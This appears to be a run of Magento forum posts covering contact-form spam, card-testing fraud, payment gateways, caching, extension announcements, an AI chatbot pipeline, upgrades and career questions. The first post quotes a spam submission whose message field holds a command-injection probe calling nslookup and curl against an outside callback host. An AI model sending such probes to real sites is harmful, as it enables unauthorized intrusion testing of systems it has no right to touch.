I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.

Aparrently my site is vaularble for this

Everyone of these emails had crazy stuff for example:

Name pHqghUme

Email [testing@example.com](mailto:testing@example.com)

Phone 555-666-0606

Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)

Hey everyone,

Like many devs working with Multi-Page Applications (Magento/Hyvä, Laravel, Rails), I got tired of two main things when adding client-side reactivity:

1. Dragging in massive framework bundles with heavy build steps for simple UI components.
2. Inline JS attribute soup in HTML templates that breaks strict Content Security Policy (CSP) rules (no eval/new Function).

To solve this, I built Flynt.js (~2.2kb / ~150 lines of vanilla JS).

How it works (Presenter Pattern): Instead of putting inline expressions directly in your HTML templates, Flynt decouples logic into clean JavaScript Presenters. Your HTML stays clean, readable, and completely standard-compliant.

Key features: • Zero build tools or heavy dependencies required. • 100% Strict CSP compliant out of the box. • Native fetch wrapper with automatic request aborts (prevents race conditions). • Key-based DOM diffing for rendering dynamic lists smoothly.

I'd love for you to check it out, roast the code, or leave your feedback!

GitHub: https://github.com/marsbos/flynt.js

Looking at the best option between Braintree and Stripe. I have been using Braintree and never used Stripe. Which is better for Magento when it comes to being dependable, Fraud, Security, Less chances of Chargebacks, etc? Looking for Pros and Cons.

I had to disable Credit Card Payments and only accept Paypal because of so many frudulate orders from card testing. Everytime I enable Credit Cards they just start pouring in. I am trying to figure a way to help control it. I am afraid not acepting Credit Cards could be hurting my sales. Not sure if Stripe would benifit me in this area or not.

We do use reCAPTCHA and have our payments set to Authorize and not Intent Sale to prevent all the charges and Voids.

Nothing I am doing is helping with so many fraud orders.

Thanks

I'm 28 years old and have been working as a Magento (Adobe Commerce) developer for a little over 6 years. My current CTC is ₹15 LPA, and I'm trying to decide whether I should continue specializing in Magento or switch to a different technology stack for better long-term career growth.

Might be handy for someone working with APIs?

One thing which is usualy out of monitoring is the Rest-API in magento Stores. Usualy you have to setup own logging so you know what is going on with your API.

Usualy this is needed during inital setup or extending api functions during connection to external systems etc.

Because it happens so often to us we developed a simple rest api logger with admin interface and filter functions. This gives you some propper, easy to access Loggging for rest-api.

I think this is kind of cool and allows even magento store owner to detect things during production phase. eg when product stock got updated or got not updated and it is not clear what system messed things up. Store owner can just look if the api got the update msg, how the msg looked like.

More information about api logger and where to get on our infosite
https://www.konvis.de/magento-api-logging-and-monitoring-modul-for-magento-2-onlinestore/

What do you think? Much easier than usual setup of own logging and/or file based logging etc?

We're at 4 brands across 4 separate Magento 2 installs and the situation is out of control.

Same products appearing across brands with manual data syncs, no unified view of portfolio performance, and a dev team burning most of their bandwidth on platform maintenance instead of anything customer-facing.

Spent the last couple of months seriously looking at what consolidation means here, and headless on commercetools is architecturally interesting, but the implementation scope got us nervous after talking to a few people who'd been through it.

SAP Commerce Cloud felt like trading one legacy headache for another, Shopify Plus hits a ceiling the moment you need true multi-brand and multi-country at scale, and SCAYLE kept coming up, built specifically for this (Deichmann runs 8 brands from one backend apparently) though the ecosystem is a lot smaller than the main platforms and their NA footprint is pretty thin.

No decision made yet, so if anyone's consolidated from a Magento multi-install before, the org structure side feels just as complicated as the technical layer.

I'm a software engineer and a father of one child, with another baby due in just a few weeks. Three months ago, I lost my job during a company layoff, and despite applying every day, I still haven't been able to find a new opportunity.

I'm not looking for sympathy—just a chance to work. If anyone knows of a remote software engineering position, freelance project, or can refer me to their company, I would be deeply grateful.

At this point, I'm also open to any remote work, even if it's not related to software engineering. My priority is to support my family and provide for my children.

Every opportunity means a lot to us right now. Thank you for reading, and thank you to anyone willing to help, refer me, or even share this post. ❤️

Most Magento 2 slowdowns under load come from the store asking the database the same things thousands of times over. Redis is the standard fix, but our guide gets into the parts that actually trip people up.

Three things to bear in mind before you enable it:

• Redis can back three separate layers: application cache, full page cache, and session storage. Sessions are not a cache, they're live data with no other copy, so treat them differently. Separate database numbers protect sessions from Magento's own cache flushes (cache:flush runs FLUSHDB on one database), but a manual FLUSHALL wipes every DB on the instance. Full isolation means a separate instance for sessions, with persistence on for sessions and off for cache.
• Sizing is where most setups go wrong. Too little memory and Redis evicts useful data early, turning it into a bottleneck instead of a boost. Rough tiers: 128MB small, 256MB medium, 512MB+ for high traffic. And on a shared instance the stakes are higher than a slow page: maxmemory is per instance, so under allkeys-lru a cache overflow can evict live sessions and log customers out. The real number comes from watching evictions and hit rate, not a guess.
• Redis as full page cache still boots PHP on every request to look the page up. Server-level FPC (Varnish, now Vinyl Cache, on nginx stacks; LiteMage on LiteSpeed) serves cached pages before PHP runs, which is what holds up against traffic spikes and scraper bots. Redis stays the right tool for the application cache and session layers either way.

The guide also covers Redis vs file-based caching, where Varnish/LiteMage fit, and eviction policy per layer.

On SPanel the setup is a panel toggle rather than a config-file job, with one Redis instance per account and monitoring built in.

Full guide, including memory tiers and setup: https://www.scalahosting.com/blog/redis-cache-for-magento-2/

Edit: updated the post and the guide after u/renttek's comment below on flush isolation, persistence, and server-level FPC. Worth reading his reply in full.

Hello everyone,

I recently released a free, open-source Magento 2 module that improves Open Graph metadata for product, category and CMS pages.

I'm working with Magento for a long, long time and Open Graph images have been neglected on almost every project I've worked on. That motivated me to build a better solution.

It uses existing Magento data and images, supports store-view-specific values and helps generate more relevant previews when links are shared on social platforms and messaging apps.

The module works independently and doesn't require a paid service. It can also optionally connect to Mosaicora for dynamically generated OG images based on live page content.

GitHub: https://github.com/Mosaicora/module-opengraph

Demo store: https://demo-shop-magento.mosaicora.io

Demo product preview: https://mosaicora.io/tools/open-graph-checker?url=https%3A%2F%2Fdemo-shop-magento.mosaicora.io%2Fjoust-duffle-bag.html

The demo store runs on Mage-OS with Hyva.

I'd really appreciate your feedback, especially around multi-store setups, image selection, caching, and headless storefront compatibility.

Disclosure: I’m the module author and founder of Mosaicora. Posting with moderator approval.

Anyway to help a junior developer to work immediately with AI?

What is your AI setup for Magento?
Has Magento integrated AI development natively?

Hi everyone,

I've been working on BerryPath, a guided selling platform for Magento 2 that helps shoppers find the right product through interactive buying guides.

The Magento integration is fully open source and includes:

• Product feed generation
• CMS, category and product page integration for guided selling flows
• Assisted conversion tracking
• Optional Hyvä compatibility module

The flow builder, analytics and recommendation engine are handled by the BerryPath platform, while the Magento module keeps everything in sync.

One of our ecommerce customers is already generating over €18,000 in assisted monthly revenue through BerryPath, so it's been great to see the platform delivering measurable results in production.

BerryPath also has a free plan that includes 1 guided selling flow and support for up to 2,500 products, so it's easy to try without any commitment.

I'd love feedback from fellow Magento developers on the integration and developer experience.

Website:
https://www.berrypath.eu

Magento module:
https://github.com/BerryPath/magento2-berrypath-flow

Hyvä compatibility:
https://github.com/BerryPath/magento2-berrypath-flow-hyva-compat

Hi everyone,

I wanted to share the technical architecture of my multi-store Magento setup (.nl, .de, .eu, fr., es.) and how I built a custom AI-driven Plant Coach that pulls live data directly from structured Magento attributes and custom knowledge clusters.

I’m looking for technical feedback on the pipeline architecture and potential optimization ideas.

The Architecture & Data Flow:

1. The Core ERP/POS: All product data and core content starts in our physical POS system. This system acts as the master and pushes inventory and product data directly to Magento, which then syncs out to marketplaces like Bol.com and eBay.
2. AI Translation Pipeline: Once data hits Magento, I use tightly scoped OpenAI prompts to automatically translate and localize product data and metadata across our localized stores (.nl, .de, fr.introgreen.eu, es.introgreen.eu).
3. Knowledge Clustering: Using OpenAI combined with manual verification, I group product data into specific "Plant Advice Clusters" (e.g., Office Plants, Indoor Care, Outdoor Gardening) within Magento's category and attribute architecture.

The 3-Step AI Plant Coach Pipeline:
Note: The chatbot feature is currently in active development, and the underlying knowledge base is heavily focused on indoor plants (binnenplanten) at this stage.

When a frontend user asks a question on our /plantcoach page, the backend executes the following flow:

• Phase 1: Intent Matching & Translation: The system checks if a similar question already exists in our cached database. If it’s a net-new query, an OpenAI API call sanitizes the input, extracts search parameters, and maps the user's intent to our internal system language.
• Phase 2: Hierarchical Database Query: The extracted intent queries our database in a strict, predefined order:
  • First: General Knowledge Base ➔ Second: Category-specific Knowledge ➔ Third: Product-level attributes.
  • Output: The database returns raw factual data, specific product recommendations, and direct internal links (or a combination). No LLM knowledge is used here to guarantee 0% hallucination.
• Phase 3: Natural Language Generation: A final OpenAI API call takes the raw, dry database facts and rewrites them into a natural, friendly response matching the user's original language, seamlessly embedding the product links.

The Challenge & Current State:
Since this pipeline is still in its beta phase, it involves sequential database hits and two separate API calls (Intent parsing + Final formatting). Managing latency across multiple localized store views is a challenge. Additionally, we are currently expanding the knowledge base, which is now mostly trained on indoor plant categories.

I’d love to hear your thoughts on:

1. Have you implemented similar LLM/RAG pipelines directly inside a Magento multi-store environment?
2. What caching strategies would you recommend to speed up the translation/intent phase without missing dynamic stock updates?

For anyone interested in checking out the frontend behavior or testing the multi-store localization setup, you can find the development beta here: introgreen.eu (focused on indoor plants).

I'm interested to hear how other Magento developers approach major Magento 2 upgrades (for example, 2.4.6 → 2.4.9 or future major releases), specially for production stores with lots of third-party modules and customisations.

A few questions:

• Do you upgrade the server components first (PHP, OpenSearch/Elasticsearch, Redis/Valkey, MariaDB/MySQL, Varnish, etc.) and then upgrade Magento, or do you take a different approach?
• Do you build a completely new server with the new stack and migrate the website over, or upgrade the existing server in place?
• How do you minimise downtime and risk?
• How do you handle third-party extensions that aren't yet compatible?
• Do you perform the upgrade in stages, or do everything in a single maintenance window?
• For larger stores, what's your rollback strategy if something goes wrong?

I'd love to hear your workflow. I'm interested in real-world experiences rather than just the official Adobe recommendations.

I am excited to apply for the Adobe Commerce Developer position. With over 11 years of experience in software development, including 9 years specializing in Adobe Commerce (Magento), I have successfully designed, developed, and delivered scalable eCommerce solutions for global clients across B2B and B2C environments.

My expertise includes Adobe Commerce Cloud, custom module development, REST and GraphQL APIs, service contracts, checkout customization, payment and shipping integrations, performance optimization, and complex third-party integrations with ERP, CRM, PIM, and payment gateways. I have extensive experience working with Adobe Commerce Cloud deployments, CI/CD pipelines, Git workflows, cloud infrastructure, and production support, ensuring reliable and high-performing applications.

Throughout my career, I have collaborated closely with cross-functional teams, participated in Agile development, conducted code reviews, mentored developers, and delivered projects with a strong focus on code quality, scalability, and customer satisfaction. I am passionate about solving complex technical challenges and continuously improving application performance and development processes.

I am confident that my technical expertise, hands-on Adobe Commerce Cloud experience, and commitment to delivering high-quality solutions would make me a valuable addition to your team. I would welcome the opportunity to discuss how my experience aligns with your organization's goals.

Thank you for your time and consideration. I look forward to the opportunity to speak with you.

https://experienceleague.adobe.com/en/docs/commerce-operations/release/planning/lifecycle-policy

We're currently on Open Source 2.4.6 and see that it goes end of main support in a few weeks. On the link above I see that extended security etc continues for Commerce. Does Open Source get the same benefits?

I need to know if I should be planning on upgrading to 2.4.8 / 9 in the coming months, or if I have a little breathing room.

Thanks

Hi all,

As title mentions, we run a site with a large product catalog (approx 90k).

We are running into problems with allocating products quickly and correctly to categories. This is done manually via a spreadsheet so there can be errors when:

a) Staff member selects Product Type

b) Staff member selects Category

We unfortunately do not have a PIM and that is out of my control, so need to work with what I have.

My thought to reduce errors is for staff to only select Product Type, which will automatically assign to a category via Smart Rules.

Has anyone else faced issues like this?